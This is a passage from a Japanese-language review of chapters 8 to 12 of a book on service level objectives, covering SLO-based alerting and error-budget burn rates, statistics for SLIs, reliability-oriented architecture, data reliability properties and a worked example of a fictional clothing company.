7.3のヒストグラム実装の例は、パーセンタイルベースSLOを実装する際の具体的な指針となります。SLIとSLOの測定は、SREの実践において中心的な役割を果たすものです。この章で学んだ概念と手法を、日々の業務に積極的に取り入れていくことで、より信頼性の高いシステムの構築と、より効果的な組織運営に貢献できると確信しています。同時に、SLIとSLOの概念は常に進化し続けるものであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。Chapter 8. SLO Monitoring and Alerting第8章「SLO Monitoring and Alerting」は、SLO(Service Level Objectives)に基づくモニタリングとアラートの実践的な実装について深く掘り下げています。本書では、従来のしきい値ベースのアラートの問題点を指摘し、SLOアラートがいかにそれらの問題を解決し、より効果的なシステム用を可能にするかを詳細に解説しています。pyrraのようなSLO の管理、エラー バジェットの計算、記録およびアラート ルールの作成に役立つツールもあります。他にもGrafanaでもいくつの機能があるのでおすすめです。learning.Oreilly.com本章の冒頭で、本書では「SLO alerting really is one of the most promising developments in the management of production systems today. It promises to get rid of a lot of the chaos, the noise, and the sheer uselessness of conventional alerting that teams experience, and replace them with something significantly more maintainable.」と述べています。この言葉は、SLOアラートの重要性と可能性を端的に表現しており、SREとしての私の経験と深く共鳴しました。従来のアラート手法の限界を日々感じている中で、SLOアラートが提供する新しいアプローチに大きな期待を抱きました。本書では、従来のしきい値ベースのアラートの問題点を詳細に分析しています。印象的だったのは、以下の点です:しきい値が時間とともに適切でなくなる問題ユーザー体験を直接反映していない指標への依存コンテキストの喪失アラート疲れとウォーフォグ(戦争の霧)効果これらの問題点は、SREとしての私の経験とも一致しており、共感できるものでした。「Human responses to alerts gradually decay in energy over time.」という指摘は重要です。アラート疲れは、運用チームの効率と対応品質を低下させる大きな要因となっています。本書で提案するSLOアラートのアプローチは、これらの問題に対する解決策として魅力的です。エラーバジェットの消率に基づいたアラートの設定は、ユーザー体験に直結した指標を用いることで、より意味のあるアラートを実現できます。エラーバジェットの消費率の計算方法とそれに基づくアラートの設定に関する式としていかが紹介されています。Rate of error budget consumption = (observed errors per [time period or event count]) / (allowable errors per [time period or event count])また、本書が提案するローリングウィンドウの概念も有用です。短期的な問題(fast burn)と長期的な問題(slow burn)を区別して扱うアプローチは、実際のシステム運用において効果的だと感じました。本書では、SLOアラートの実装に関する具体的なガイダンスも提供しています。1時間で2%のエラーバジェット消費をページングアラートの閾値とし、3日間で10%の消費をチケット発行の閾値とする提案は、実践的で有用な指針です。しかし、本書でも指摘しているように、SLOアラートの実装には課題もあります。既存のシステム(ブラウンフィールド)へのSLOアラートの導入には、様々な困難が伴います。本書が提案する以下のアプローチは、この課題に対処する上で参考になりました:現状の人的影響を示す既存のアウテージフットプリントをレビューする新旧のシステムを並行して運用するこれらのアプローチは、組織内でのSLOアラート導入を推進する際に、有効な戦略だと感じました。本章の結論部分で、本書では以下の重要な推奨事項を提示しています:内属性(CPU使用率など)に基づくアラートから脱却することアラートシステムの技術的能力を確認すること可観測性(Observability)の重要性を認識することSLO設定の努力とコストを考慮することこれらの推奨事項は、SLOアラートを効果的に実装し、運用していく上で重要な指針となります。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:現在のアラート設定を見直し、内部属性に基づくアラートを特定するユーザー体験に直結するSLIを定義し、それに基づいたSLOを設定するエラーバジェットのバーンレートを計算し、それに基づいたアラートを設定する短期(fast burn)と長期(slow burn)のアラートを区別して設定するアラートシステムの能力を評価し、必要に応じてアップグレードを検討する可観測性を向上させるためのツールやプラクティスを導入するSLO設定とそれに伴うオペレーショナルロードについて、ステークホルダーと議論するこの章を読んで、SLOアラートの導入は、単なる技術的な変更ではなく、組織全体の運用方針とインシデント対応の在り方を根本的に変える可能性を秘めていることを理解しました。ユーザー体験を中心に据えたアプローチは、SREの本質的な目的である「ユーザーの満足度向上」に直結するものです。同時に、SLOアラートの導入には慎重なアプローチが必要であることも再認識しました。既存のシステムや組織文化との整合性を取ることの重要性を強く感じました。SREとして、技術的な実装だけでなく、組織全体のアラインメントを図りながら、段階的SLOアラートを導入していくアプローチが重要だと考えます。総括すると、この章はSLOアラートの実装に関する包括的かつ実践的なガイドを提供しています。本書の豊富な経験に基づく洞察は、SLOアラートの可能性と課題を明確に示しています。SREとして、この章から学んだアプローチを実践することで、より効果的なアラート体制を構築し、結果としてシステムの信頼性向上とユーザー満足度の向上につながると確信しています。同時に、SLOアラートの導入は継続的な学習と改善のプロセスであることを忘れてはいけません。技術の進化や組織の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「SLO alerting promises to get rid of a lot of the chaos, the noise, and the sheer uselessness of conventional alerting that teams experience, and replace them with something significantly more maintainable.」という言葉を再度強調したいと思います。この視点を持ちつつ、組織の特性に合わせた最適なSLOアラートの実装を追求していくことが、SREとしての私たちの重要な役割だと感じました。Chapter 9. Probability and Statistics for SLIs and SLOs第9章「Probability and Statistics for SLIs and SLOs」は、SLO(Service Level Objectives)とSLI(Service Level Indicators)の設計と実装における確率と統計の重要性を深く掘り下げています。本章は、SREが直面する複雑な問題に対して、数学的なアプローチを用いてより精密な解決策を提供することを目的としています。learning.Oreilly.com章の冒頭で、本書は次のように述べています:「Reliability is expensive, and figuring out the amount of reliability you need is crucial for making the most of your resources.」この言葉は、SREの本質的な課題を端的に表現しています。適切な信頼性レベルを決定することは、リソースの最適化と顧客満足度のバランスを取る上で極めて重要です。本章は、主に二つの重要な問題に焦点を当てています:SLOの適切な設定方法と、SLIの正確な計算方法です。これらの問題は、新しいサービスの立ち上げや既存のサービスの改善において常に直面する課題です。例えば、依存関係を持つサービスのSLOをどのように設定するべきか、あるいは低頻度のイベントに対してSLIをどのように計算するべきかといった問題が取り上げられています。本書は、これらの問題に対処するために確率論と統計学の手法を導入しています。印象的だったのは、ベルヌーイ試行とポアソン分布の活用です。これらの概念は、サービスの可用性や信頼性を数学的にモデル化する上で有用です。例えば、本書は99.99%の可用性を持つサービスを例に挙げ、これをコイン投げの問題に置き換えて説明しています。この類推は、確率論の概念を直感的に理解する上で効果的です。本書は次のように述べています:「If you flipped a coin to decide some question, you\'d probably expect the probability of heads or tails to be about 50%. Mathematically, we say that the coin has a bias of .5.」この説明は、複雑な確率の概念を身近な例を用いて分かりやすく解説しています。本章で興味深かったのは、期待値(Expected Value)の概念とその応用です。本書は、期待値が確率分布の重要な特性であり、プロセスの出力を予測する上で最良の推定値であることを説明しています。しかし、同時に本書は期待値の限界についても言及しています。「Unfortunately, despite its name, the expected value of a distribution is not always a good description of the values that would come out of sampling from it.」この指摘は、SREが数学的モデルを実際のシステムに適用する際に注意すべき重要な点を示唆しています。本書は、期待値の限界を補完するものとして中央値(Median)の概念を導入しています。中央値は、外れ値の影響を受けやすい分布において、より適切な代表値となる場合があります。この概念は、SLOの設定において重要です。例えば、応答時間のSLOを設定する際、極端に長い応答時間の影響を排除するために中央値を使用することが有効な場合があります。本章では、Maximum Likelihood Estimation(MLE)やMaximum a Posteriori(MAP)などの統計的推定手法についても詳細に説明されています。これらの手法は、限られたデータから信頼性の高い推定を行う上で重要です。本書は、これらの手法をSLIの計算に応用する方法を具体的に示しています。N年ぶりに聞いたベイズ推定の応用はとても良かったです。本書は、事前の知識や信念を数学的にモデル化し、新たな観測データと組み合わせて推定を行う方法を詳細に説明しています。この手法は、低頻度のイベントやデータが限られている状況でのSLI計算に有効です。本書は次のように述べています:「If we have good reason to think some values of p are more likely than others before we get any evidence, then this allows us to incorporate those prior beliefs into our calculations.」この考え方は、SREが過去の経験や専門知識をSLIの計算に反映させる方法を提供しており、実践的です。本章の後半では、キューイング理論とその応用について詳細な説明がなされています。本書は、M/M/1キューやM/M/cキューなどのモデルを用いて、システムのレイテンシーや処理能力を数学的に分析する方法を示しています。これらのモデルは、システムの性能予測や容量計画において有用です。本書は、キューイング理論の応用例として、バッチ処理システムの分析を挙げています。ここでは、ポアソン分布を用いてリクエストの到着パターンをモデル化し、システムの処理能力との関係を数学的に分析しています。この分析は、SLOの設定やシステムのスケーリング計画を立てる上で有用な洞察を提供しています。本章の結論部分で、本書は次のように述べています:「The power of thinking in a probabilistic and statistical manner is that it allows verification of the gut feel that most team members will have developed around the behavior of the system.」この言葉は、本章全体のメッセージを端的に表現しています。確率と統計の手法は、SREの経験や直感を数学的に検証し、より信頼性の高い意思決定を行うための強力なツールとなります。Figure 9-11. The binomial distribution with p = .9999, n = 10 より引用Figure 9-11では、高い可用性(99.99%)を持つシステムのパフォーマンスを示すヒストグラムが提示されています。この図は、極めて高い信頼性を持つシステムにおいても、わずかながら失敗が発生する可能性があることを視覚的に示しており、完璧な信頼性が実現不可能であることを明確に表現しています。Figure 9-29. Mean latency as approaches —as the average arrival time comes closer to the average service time, the latency grows severely より引用Figure 9-30. The 95th-percentile latency より引用Figure 9-29と9-30は、システムのUtilizationとレイテンシーの関係を示すグラフです。これらの図は、システムの利用率が増加するにつれて、レイテンシーが非線形に上昇することを明確に示しています。この関係の理解は、適切なキャパシティプランニングとSLO設定において極めて重要です。本章から得られる重要な教訓は、SLOとSLIの設計と実装において、確率と統計の手法が強力なツールとなるということです。これらの手法は、直感的な判断を数学的に裏付け、より精密で信頼性の高い意思決定を可能にします。同時に、本章は数学的モデルの限界についても明確に指摘しています。本書は次のように警告しています:「While models are helpful, they cannot be completely correct. This is exactly why they are models.」この認識は、SREが数学的モデルを実際のシステムに適用する際に常に念頭に置くべき重要な点です。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:SLOの設定において、単純な平均値だけでなく、分布の特性(期待値、中央値、パーセンタイル)を考慮に入れる。システムのパフォーマンスを収集し、適切な確率分布(例:ポアソン分布、指数分布)でモデル化する。ベイズ推定を用いて、過去の経験や専門知識をSLIの計算に反映させる。キューイング理論を活用して、システムの容量計画やスケーリング戦略を数学的に裏付ける。いくつかの手法を用いて、複雑なシステムの振る舞いを予測し、適切なSLOを設定する。統計的手法を用いてSLIの信頼区間を計算し、測定の不確実性を定量化する。これらのアプローチを実践することで、より精密で信頼性の高いSLOとSLIの設計と実装が可能になります。技術的な観点からは、本章で紹介された数学的手法を実装するためのツールやライブラリの活用が重要です。例えば、PythonのSciPyライブラリは、本章で紹介された確率分布や統計的推定手法を容易に実装できる機能を提供しています。また、Prometheusなどの監視ツールと組み合わせることで、リアルタイムでSLIを計算し、統計的な分析を行うことが可能になります。さらに、機械学習の手法を活用して、より高度なSLO予測モデルを構築することも検討に値します。例えば、時系列予測モデルを用いてSLIの将来的な傾向を予測し、プロアクティブなシステム調整を行うことが可能になります。本章を読んで、私はSREの役割がより数学的・分析的になりつつあることを強く感じました。単純なルールベースの監視やアラートから、確率論と統計学に基づいた精密な分析へとシフトしていく傾向は、システムの複雑化と規模の拡大に伴う必然的な流れだと考えられます。同時に、この数学的アプローチの導入には課題もあります。組織全体でこれらの概念を理解し、実践に移すためには、継続的な教育と文化の変革が必要です。SREとして、これらの数学的概念を非技術者を含む組織全体に分かりやすく説明し、その価値を示していくことが重要な役割となります。総括すると、この章は確率と統計の手法をSLOとSLIの設計と実装に適用する具体的な方法を提供しています。これらの手法は、SREが直面する複雑な問題に対して、より精密で信頼性の高い解決策を提供する可能性を秘めています。同時に、数学的モデルの限界を認識し、実際のシステムの振る舞いとのバランスを取ることの重要性も強調されています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLOとSLIの設計が可能になり、結果としてシステムの信頼性向上とユーザー満足度の向上につながると確信しています。同時に、これらの数学的手法の適用は継続的な学習と改善のプロセスであることを忘れてはいけません。新しい技術や方法論の登場に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「The power of thinking in a probabilistic and statistical manner is that it allows verification of the gut feel that most team members will have developed around the behavior of the system.」という言葉を再度強調したいと思います。この視点を持ちつつ、直感と数学的分析のバランスを取りながら、より精密で信頼性の高いシステム運用を追求していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだ確率と統計の手法は、SREの実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いシテムの構築と、より効果的な組織運営に貢献できると確信しています。同時に、これらの手法の適用には慎重さと継続的な学習が必要であることも忘れてはいけません。新しい技術や方法論の登場、そしてビジネス要件の変化に応じて、常にアプローチを見直し、適応していく必要があります。SREとして、この章から得られた知見を組織全体に浸透させ、データ駆動の意思決定文化を醸成していくことが重要です。確率と統計に基づいたアプローチは、単にシステムの信頼性を向上させるだけでなく、組織全体の意思決定プロセスを改善し、より効率的なリソース配分を可能にします。今後の課題としては、これらの数学的手法をより使いやすく、理解しやすいツールやフレームワークに落とし込んでいくことが挙げられます。また、機械学習や人工知能の進歩に伴い、より高度な予測モデルや最適化アルゴリズムを活用した次世代のSLO/SLI管理システムの開発も期待されます。この章で学んだ確率と統計の手法は、SREの実践において強力な武器となります。これらの手法を適切に活用することで、より精密で信頼性の高いシステム運用が可能になり、結果としてユーザー満足度の向上とビジネス目標の達成につながると確信しています。SREとして、常に学び続け、新しい知識と技術を積極的に取り入れながら、組織とシステムの継続的な改善に貢献していくことが重要です。Chapter 10. Architecting for Reliability第10章「Architecting for Reliability」は、SLO(Service Level Objectives)を念頭に置いたシステム設計の重要性と方法論について深く掘り下げています。本章は、システムアーキテクトがSLOを考慮しながら、いかに信頼性の高いシステムを設計できるかを詳細に解説しています。SRE になるために役立つシステム エンジニアリングのシラバスのご紹介でもこちらの章を紹介しています。cloud.google.com本章の冒頭で、著者は次のように述べています:「This chapter focuses on designing systems from the ground up with SLOs in mind.」この言葉は、SLOがシステム設計の初期段階から考慮されるべき重要な要素であることを強調しています。この視点は重要だと感じました。多くの場合、SLOは既存のシステムに後付けで適用されがちですが、設計段階からSLOを考慮することで、より効果的で信頼性の高いシステムを構築できます。ソフトウェアアーキテクチャの基礎 ―エンジニアリングに基づく体系的アプローチ作者:Mark Richards,Neal FordオライリージャパンAmazon本章で特に印象的だったのは、ユーザージャーニーの重要性についての言及です。著者は次のように述べています:「User journeys, which represent the same concept as SLIs (see Chapter 3), help us understand these interactions, as well as the implications for the user when the system does not meet its objectives.」この視点は、技術的な指標だけでなく、ユーザー体験を中心に据えたシステム設計の重要性を強調しています。SREとして、この考え方は重要です。私たちは往々にして技術的な指標にとらわれがちですが、最終的にはユーザーの満足度こそが最も重要な指標であることを忘れてはいけません。本章では、システム設計における様々な考慮事項について詳細に解説しています。ハードウェアの選択がシステムのSLOに与える影響について、興味深い分析がなされています。例えば、著者は次のように述べています:「A system cannot offer an SLO greater than any of its dependencies\' SLOs.」この指摘は、システム全体のSLOを考える上で重要です。依存関係にあるコンポーネントのSLOを理解し、それらを考慮してシステム全体のSLOを設定することの重要性を再認識させられました。ハードウェアの選択に関する具体的な例として、本章では異なるストレージオプションの比較が示されています。Figure 10.1では、ハードディスク、SSD、RAMの読み取りレイテンシとIOPSが比較されており、これらの選択がSLIにどのような影響を与えるかが明確に示されています。この比較表は、システム設計の初期段階で重要な意思決定を行う際の貴重な指針となります。本章では、モノリスかマイクロサービスかいう議論についても言及しています。著者は、サービス指向アーキテクチャ(SOA)の利点を強調しつつ、次のように述べています:「An open-ended system—one that allows for extension and change—is superior to a closed-ended system.」この視点は、急速に変化するビジネス環境において重要です。SREとして、システムの拡張性と変更の容易さは、長期的な運用性と信頼性を確保する上で不可欠な要素だと感じました。システムの故障モードの予測と対応についても、本章では詳細に解説されています。著者は次のように述べています:「When designing systems it\'s important to anticipate failure modes—that is, the problems that a system may realistically encounter and that it can respond to in order to maintain its SLOs.」この考え方は、SREの核心に触れるものです。システムの信頼性を高めるためは、単に正常時の動作を設計するだけでなく、様々な異常状態を予測し、それらに適切に対応できるようにシステムを設計することが重要です。本章では、リクエストの種類(同期、非同期、バッチ)に応じた設計上の考慮事項についても言及しています。これらの異なるタイプのリクエストに対して適切に対応することで、システム全体のパフォーマンスと信頼性を向上させることができます。バッチ処理に関する次の指摘は印象的でした:「Batch processing of requests typically happens because their results are not time-sensitive or in the critical path, yet SLIs still play an important role: they provide measurements for KPIs such as the duration of each batch process, meaning how long the process takes to execute, and the number of requests processed in each batch.」この視点は、非同期処理やバッチ処理のSLOを設定す際の重要な指針となります。システムの定量的分析に関する部分も興味深いものでした。著者は、システムの可用性を構成要素の可用性の組み合わせとして表現できることを示しています。この考え方は、複雑なシステムの信頼性を理解し、改善する上で有用です。1 - SLO = ((MTTD + MTTM) / MTBF) \xd7 IMPACTこの式は、システムの信頼性を人間の対応時間と関連付けて表現しており、SREの実務に直接適用可能な洞察を提供しています。本章の後半では、システムの依存関係の重要性について詳しく解説されています。著者は次のように述べています:「Once your product and engineering perspectives agree, you can develop SLOs, and we can turn back to \\"the system.\\" Thus far we have designed a system that solves our problem as designed, without building any nonessential software.」この視点は、システム設計において不要な複雑さを避け、本質的な問題解決に焦点を当てることの重要性を強調しています。Figure 10.5では、システムの境界を理解することの重要性が視覚的に示されています。この図は、システム内の「ブラックボックス」(サードパーティのサービスやクラウドベースのシステムなど)を識別し、それらがシステム全体の信頼性にどのように影響するかを理解することの重要性を強調しています。本章から得られる重要な教訓は、SLOを考慮したシステム設計が、単なる技術的な演習ではなく、ユーザー体験と密接に結びついた重要なプロセスであるということです。著者は次のように述べています:「In order to have effective SLOs, we need to reflect the user experience, not only system performance.」この視点は、SREの実践において重要です。技術的な観点からは、本章で紹介されたシステム設計の方法論は実践的で有用です。ユーザージャーニーに基づいてSLIとSLOを設定し、それらを元にシステムアーキテクチャを決定していくアプローチは、多くのSREプロジェクトに適用可能です。また、本章で強調されている「グレースフルデグラデーション」の概念も重要です。著者は次のように述べています:「Given congestion on the internal network between application servers and the storage component, a conscious architectural decision will, for example, allow our image-serving system to degrade such that thumbnail pages continue to serve within 250 ms, even though loading the detail view might take longer.」この考え方は、システムの一部に問題が発生した場合でも、全体としての機能を維持し、ユーザー体験への影響を最小に抑えるための重要な設計原則です。本章を読んで、システムアーキテクトとしての視点を持ちつつ、ユーザー体験とビジネス目標を常に意識しながらシステムを設計することの重要性を強く感じました。同時に、SLOを単なる数値目標ではなく、システム設計の指針として活用することの有効性も再認識しました。総括すると、この章はSLOを考慮したシステム設計に関する包括的かつ実践的なガイドを提供しています。ユーザージャーニーの重要性、ハードウェア選択の影響、マイクロサービスアーキテクチャの利点、故障モードの予測と対応、異なるタイプのリクエストへの対応、システムの定量的分析、依存関係の理解など、システム設計の重要な側面を網羅しています。SREとして、この章か学んだアプローチを実践することで、より信頼性が高く、ユーザー体験を重視したシステムの設計が可能になると確信しています。設計の初期段階からSLOを考慮し、ユーザージャーニーに基づいてシステムアーキテクチャを決定していくアプローチは、多くのプロジェクトで有効に活用できるでしょう。同時に、本章で強調されているシステムの依存関係の理解と管理の重要性も、実務上重要です。クラウドサービスやサードパーティのAPIに依存する現代のシステム開発において、これらの「ブラックボックス」がシステム全体のSLOにどのような影響を与えるかを理解し、適切に管理することは不可欠です。今後の課題としては、急速に進化するクラウド技術や新しいアーキテクチャパターン(例:サーバーレスアーキテクチャ)にして、本章で紹介されたアプローチをどのように適用していくかを検討する必要があります。また、機械学習やAIを活用したシステムの設計において、SLOをどのように定義し、管理していくかも重要な研究テーマとなるでしょう。最後に、本章の「SLOs as a Result of System SLIs」というセクションで述べられている「The SLOs for a system follow from the SLIs we have identified, although not necessarily directly: in order to have effective SLOs, we need to reflect the user experience, not only system performance.」という言葉を再度強調したいと思います。この視点を持ちつつ、技術的な指標とユーザー体験のバランスを取りながら、より効果的なシステム設計を追求していくことが、SREとしての私たちの重要な役割だと感じました。本章で学んだSLOを考慮したシステム設計のアプローチは、SREの実践におい中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いシステムの構築と、より効果的な組織運営に貢献できると確信しています。同時に、システム設計の方法論は常に進化し続けるものであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。SREとして、この章から得られた知見を組織全体に浸透させ、SLOを中心としたシステム設計の文化を醸成していくことが重要です。ユーザー体験を重視し、信頼性と性能のバランスを取りながら、柔軟で拡張性の高いシステムを設計することで、長期的にはユーザー満足度の向上とビジネス目標の達成につながると確信しています。Chapter 11. Data Reliability第11章「Data Reliability」は、データサービスの信頼性に焦点を当て、SLO(Service Level Objectives)とSLI(Service Level Indicators)の設定と運用について深く掘り下げています。本章は、データの信頼性が他のサービスの信頼性とどのように異なるか、そしてデータサービスに特有のSLOをどのように設定し、測定すべきかを詳細に解説しています。syu-m-5151.hatenablog.com章の冒頭で、著者は次のように述べています:「The goal of this chapter is to explore what makes SLOs for data services different from SLOs for other services.」データの信頼性は、単なるシステムの可用性や性能だけでなく、データそのものの品質や整合性にもく関わるため、独自の考慮事項が必要になります。本章で特に印象的だったのは、データの信頼性を13の属性に分類し、それぞれについて詳細に解説している点です。これらの属性は、データプロパティ(7つ)とデータアプリケーションプロパティ(6つ)に分けられています。データプロパティには以下が含まれます:1. Freshness(鮮度)2. Completeness(完全性)3. Consistency(一貫性)4. Accuracy(厳密性)5. Validity(妥当性)6. Integrity(整合性)7. Durability(耐久性)データアプリケーションプロパティには以下が含まれます:1. Security(セキュリティ)2. Availability(可用性)3. Scalability(スケーラビリティ)4. Performance(性能)5. Resilience(回復力)6. Robustness(堅牢性)これらの属性の詳細な解説は、データサービスの信頼性を多面的に捉える上で常に有用です。各属性について具体的なSLOの例が提示されている点が印象的でした。例えば、Freshnessに関するSLOの例として、以下が挙げられています:「Example SLO: 97% of data is available in the dashboard tool within 15 minutes of an event occurring.」このような具体例は、実際のSLO設定の際の重要な指針となります。 Figure 11-1. Data properties and their relationships to each other より引用本章では、これらの属性が相互に関連し、時には相反する関係にあることも指摘されています。Figure 11-1では、各属性間の関係が視覚的に示されており、データサービスの設計における複雑さと、トレードオフの必要性を明確に現しています。技術的な観点から特に興味深かったのは、各属性に対するSLOの測定方法と、それらがシステム設計にどのように影響するかについての解説です。例えば、Durabilityに関しては、クラウドプロバイダーが提供する99.999999999%(11ナイン)という高い耐久性が紹介されています。これは、100万のオブジェクトを保存した場合、10万年に1回のペースでオブジェクトを失うことを意味します。このような極端に高い信頼性目標が、データサービスにおいて重要視される理由について、著者は次のように述べています:「Data-related properties have a different calculus of risk. Properties like durability, consistency, and integrity must be considered in a unique light, because once lost they are difficult to regain. Recovering from a true durability failure can be impossible, and the effects of these failures will persist forward indefinitely into your users\' future.」この指摘は、データサービスの信頼性が他のサービスとは根本的に異なる性質を持つことを明確に示しています。一度失われたデータを回復することの困難さ、そしてそれが引き起こす長期的な影響を考慮すると、データサービスにおいては極めて高い信頼性目標を設定することが正当化されます。本章では、SLOの設定だけでなく、それらを達成するためのシステム設計についても言及しています。Figure 11-1では、各データ属性とシステム設計の考慮事項(時間、アクセス、冗長性、サンプリング、可変性、分散)との関係が示されています。著者は、データサービスの信頼性を考える上で、データの系譜(Data Lineage)の重要性も強調しています。データが複数のサービスを通過する過程で、各サービスの信頼性がどのように全体の信頼性に影響するかを理解することの重要性が指摘されています。「Data can flow through an application like a river, which is probably why there are so many water-related metaphors in the space (streams, pools, data lakes). As the process goes from one step to the next, we\'re moving downstream. Where in the process is our application\'s data? Who are the upstream producers/publishers? Do these sources have SLOs? Who are the downstream consumers/subscribers of this data? How will they use the data?」この視点は、複雑な分散システムにおけるデータの信頼性を考える上で重要です。上流のサービスのSLOが下流のサービスのSLOに直接影響を与えることを理解し、システム全体としての信頼性を設計することの重要性を再認識させられました。本章の結論部分で、著者は次のように述べています:「Modern organizations are often obsessed with \\"data quality.\\" They hire tons of engineers to think about it. But quality is ultimately subjective unless you can define and measure it, and it\'s inextricably intertwined with the systems that collect, store, process, and produce our data. We must reframe these conversations, and use SLOs to provide a supporting framework of quantitative measurement to help define the mechanisms by which we provide users with reliable data.」この言葉は、データの信頼性を主観的な概念から客観的に測定可能なものへと転換する必要性を強調しています。SLOを用いてデータの信頼性を定量化することで、組織はより効果的にデータ品質を管理し、改善することができます。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:データサービスの各属性(Freshness, Completeness, Consistency など)について、具体的なSLOを設定し、それらを定期的に測定・評価する仕組みを構築する。データの系譜を明確に把握し、上流サービスのSLOが下流サービスのSLOにどのように影響するかを分析する。データの信頼性に関する各属性のトレードオフを理解し、ユーザーのニーズと技術的な制約のバランスを取りながら、適切なSLOを設定する。データの耐久性や整合性などの回復困難な属性に特に注意を払い、それらに対して極めて高い信頼性目標を設定する。SLOの測定結果を継続的にモニタリングし、システム設計の改善に活用する。技術的な観点からは、本章で紹介された各属性のSLO測定方法を実装するためのツールやフレームワークの開発が重要になります。例えば、データ鮮度(Freshness)を測定するためのタイムスタンプ管理システムや、データの完全性(Completeness)をチェックするための自動検証ツールなどが考えられます。また、本章で強調されているデータの系譜(Data Lineage)の管理は、特に重要な技術的課題です。複雑な分散システムにおいて、データの流れを追跡し、各段階でのSLOを管理するためには、高度なトレーシングシステムやメタデータ管理システムの実装が必要になるでしょう。この章を読んで、データサービスの信頼性は、単なるシステムの可用性や性能だけでなく、データそのものの品質や整合性にも深く関わることを強く認識しました。SREは、システムの運用だけでなく、データの品質管理にも深く関与し、ユーザーに信頼性の高いデータを提供するめの仕組みづくりに貢献する必要があります。同時に、データの信頼性を確保することの難しさも再認識しました。一度失われたデータの回復が困難であることを考えると、予防的なアプローチと、万が一の場合の回復メカニズムの両方を慎重に設計・実装する必要があります。総括すると、この章はデータサービスの信頼性に関する包括的かつ実践的なガイドを提供しています。13の属性に基づくアプローチは、データの信頼性を多面的に捉え、具体的なSLOの設定と測定方法を提示しています。また、データの系譜の重要性を強調することで、複雑な分散システムにおけるデータの信頼性管理の課題にも光を当てています。SREとして、この章から学んだアプローチを実践することで、より信頼性の高いデータサービスの設計と運用が可能になる確信しています。データの各属性に対する具体的なSLOの設定と、それらのトレードオフを考慮したシステム設計は、データサービスの品質向上に大きく貢献するでしょう。同時に、データの信頼性確保は継続的な取り組みであることを忘れてはいけません。技術の進化や新たなデータ利用形態の登場に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「We must reframe these conversations, and use SLOs to provide a supporting framework of quantitative measurement to help define the mechanisms by which we provide users with reliable data.」という言葉を再度強調したいと思います。この視点を持ちつつ、データの信頼性を客観的に測定・管理可能なものとし、ユーザーに真に価値のあるデータサービスを提供していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだデータ信頼性のアプローチは、SREの実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いデータサービスの構築と、より効果的な組織運営に貢献できると確信しています。同時に、データ信頼性の確保は常に進化し続ける課題であり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。SREとして、この章から得られた知見を組織全体に浸透させ、データ中心の信頼性管理文化を醸成していくことが重要です。データの信頼性を定量的に管理することで、組織はより効果的にデータ品質を向上させ、ユーザーに価値あるサービスを提供することができます。実際に今後取り組む課題として、機械学習やAIを活用したデータサービスにおける信頼性の確保、プライバシーやデータ倫理の観点を含めたより包括的なデータ信頼性フレームワークの構築、そしてますます複雑化するデータエコシステムにおける効果的な信頼性管理手法の開発などが考えられます。これらの課題に取り組むことで、データサービスの信頼性はさらに向上し、ユーザーにとってより価値のあるサービスを提供できるようになるでしょう。Chapter 12. A Worked Example第12章「A Worked Example」は、SLO(Service Level Objectives)ベースのアプローチを実際のサービスに適用する具体的な例を提供しています。本章は、架空の会社「The Wiener Shirt-zel Clothing Company」を例に取り、複雑な多層サービスにSLOを適用する方法を詳細に解説しています。公開している資料だとIoTサービスにおけるSLIの設計とLUUPでの実践が良かったのでオススメです。 speakerdeck.com章の冒頭で、著者は次のように述べています:「While the other chapters in this part of the book have given you lots of detailed insight into specific aspects of an SLO-based approach to reliability, and Part I outlined and defined all of the concepts you need to get started, what we really haven\'t talked about yet is how all this might actually work for a multicomponent service—or how it might apply to an entire company or organization.」この言葉は、本章の目的が理論を実践に移す具体的な方法を示すことであることを明確にしています。実際のサービスにSLOを適用する際には、理論だけでは対処しきれない複雑な状況に直面することが多いからです。本章で特に印象的だったのは、サービスの成長に伴うアーキテクチャの変化とSLOの関係性についての解説です。著者は、単一のプログラマーのラップトップから始まったサービスが、どのように複雑な分散システムへと進化していったかを説明しています。Figure 12-3では、成長後のThe Wiener Shirt-zel Clothing Companyのアーキテクチャが示されており、Webアプリケーション、マイクロサービス、データベース、キャッシュ、CDN(Content Delivery Network)など、現代的なウェブサービスの典型的な構成要素が含まれています。この複雑なアーキテクチャに対して、著者は3つのユーザータイプ(外部顧客、内部サービス、内部ユーザー)に焦点を当て、それぞれのニーズに基づいたSLOの設定方法を解説しています。このアプローチはSLOが単なる技術的な指標ではなく、ユーザー体験に直結したものであるべきという本書の主張を実践的に示しています。例えば、外部顧客向けのウェブサイトのフロントページに関するSLOとして、著者は次のような例を挙げています:「99.9% of responses to our website will return a 2xx, 3xx, or 4xx HTTP code within 2,000 ms.」この SLO は、ユーザー体験(ページの読み込み速度)と技術的な指標(HTTP ステータスコード)を巧みに組み合わせています。著者は、この SLO が月間約43分のダウンタイムを許容することを説明し、これが合理的なトレードオフであることを示しています。内部サービス間の依存関係に関するSLOの設定について、著者は支払い処理マイクロサービスを例に挙げ、外部決済サービスのSLAとの関係を詳細に解説しています。Table 12-1では、ベンダーSLAと内部サービスのSLOの組み合わせによる結果が示されており、複数のサービスの信頼性がどのように全体の信頼性に影響するかを明確に表現しています。この analysis は、SREとして依存関係のあるサービスのSLOを設定する際に参考になります。内部ユーザー向けのサービスに関するSLOの設定については、デスクトップアプリケーションと内部Wikiの例が挙げられています。特に印象的だったのは、デスクトップアプリケーションのようなネットワークサービスではないものに対するSLOの設定方法です。著者は次のように述べています:「Remember, SLOs are about thinking about your users—and those users are not always millions of people on the internet. Sometimes they\'re three people in a marketing 